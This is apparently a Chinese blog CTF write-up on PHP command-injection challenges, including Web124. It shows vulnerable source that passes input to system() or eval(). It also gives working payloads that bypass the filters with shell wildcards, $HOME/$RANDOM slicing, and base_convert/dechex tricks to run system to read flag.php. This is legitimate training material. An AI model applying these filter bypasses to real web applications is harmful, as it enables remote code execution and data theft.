error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这次过滤了PWD#,之前所有payload都用不了

我们选择使用base64来获取flag。(/bin/base64 flag.php,目标是构造/???/?????4 ????.???)

过滤了PWD,我们还能用HOME。无论HOME是什么(/xxx/xxx),HOME的第一位肯定是/

然后我们只需要解决一个如何构造数字了,我们需要构造1和4

我们可以利用$s?,获取上一条命令执行结束后的返回值

<A;在然后的$?就是1

数字4还是用RANDOM随机数来获取,不过是换种方式,十分之一的概率,多发几次包

payload:(${Z}代表0)

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

code=<A;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.???

Web124

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

$pi是因为题目限制只能用这个,其他的不让用 首先$pi的值是_GET,定义这个变量是因为为了动态调用php函数 动态调用 PHP 函数,需要使用 $var{func} 这种形式,其中 $var 是一个字符串,{func} 表示函数名。否则,如果直接使用 $func,则 PHP 引擎会将其解释为一个未定义的常量,并且会导致语法错误。 为了调用system函数,就要构造

$pi{abs}($pi{acos});&abs=system&acos=ls
$pi{abs}($pi{acos});&abs=system&acos=tac flag.php

现在问题是如何构造system(cat flag.php) 参数为数字,又能将参数转化为字符串的函数,首先想到hex2bin这个函数,但是它并不在白名单内,所以需要构造hex2bin这个字符串,再拿去调用 先echo base_convert('hex2bin',36,10);得到hex2bin的10进制数字base_convert(37907361743,10,36)就等于hex2bin

再echo hexdec(bin2hex('_GET'));得到_GET的10进制数字为1598506324

所以hex2bin(dechex(1598506324))就等于_GET,为什么不能直接用16进制而非要传递一个10进制转换成16进制多此一举呢,也是因为16进制参数为0x123456它存在一个x,会匹配正则的第一项,从而将后续123456当成函数名导致不能过掉白名单

所以base_convert(37907361743,10,36)(dechex(1598506324))就等于_GET了

因为$pi 是一个字符串,而不是一个函数。$pi 的值是通过将 379073617431598506324 作为参数传递给 base_convertdechex 函数计算得到的字符串。因此,如果直接使用 $pi{abs}($pi{acos}),PHP 引擎将无法识别 $pi 变量中的函数名。 为了解决这个问题,可以使用 PHP 变量变量解析器和函数调用链来动态调用函数。具体来说,$$pi{abs}$pi{abs} 解释为一个变量名,然后使用 $pi{acos} 作为该变量名的值进行函数调用。因此,$$pi{abs}($$pi{acos}) 将会调用 $pi{abs}($pi{acos})。 所以要构造

$$pi{abs}($$pi{acos});&abs=system&acos=ls
$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php
posted @ 2025-02-13 21:19  dynasty_chenzi  阅读(86)  评论(0)    收藏  举报
返回顶端